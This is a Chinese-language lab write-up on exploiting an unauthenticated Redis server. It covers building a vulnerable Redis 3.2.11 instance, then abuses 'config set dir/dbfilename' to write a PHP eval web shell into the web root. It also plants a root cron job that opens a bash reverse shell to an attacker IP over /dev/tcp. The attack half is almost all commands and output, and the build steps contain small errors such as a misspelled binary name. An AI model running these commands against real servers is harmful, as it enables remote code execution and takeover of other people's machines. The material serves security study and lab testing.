漏洞产生原因
网络管理员安装Redis,没有修改默认端口,没有设置密码。
环境搭建
//下载压缩包
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
//解压
tar xzf redis-3.2.11.tar.gz
//进入解压目录
cd redis-3.2.11
make
//进入src目录
cd src
//拷贝redis-server到/usr/bin
cp redis-serrver /usr/bin
//拷贝redis-cli到/usr/bin
cp redis-cli /usr/bin
cd..
//拷贝redis.conf到/etc/
cp redis.conf /etc
//编辑redis文件允许远程登录redis
vi /etc/redis.conf
前面加#注释:
关闭保护:
//启动
redis-server /etc/redis.conf
复现
这里使用win进行测试,打开cmd输入以下命令:
redis-cli.exe -h 192.168.10.32
//查看redis信息及服务器信息
info
连接成功
//写入小马
set one "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dir /var/www/html/
config set dbfilename w.php
//反弹shell
192.168.31.62:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.31.117/7999 0>&1\n"
OK
192.168.31.62:6379> config set dir /var/spool/cron/
OK
192.168.31.62:6379> config set dbfilename root
OK
192.168.31.62:6379> save
参考文献:https://blog.csdn.net/qq_36119192/article/details/84620648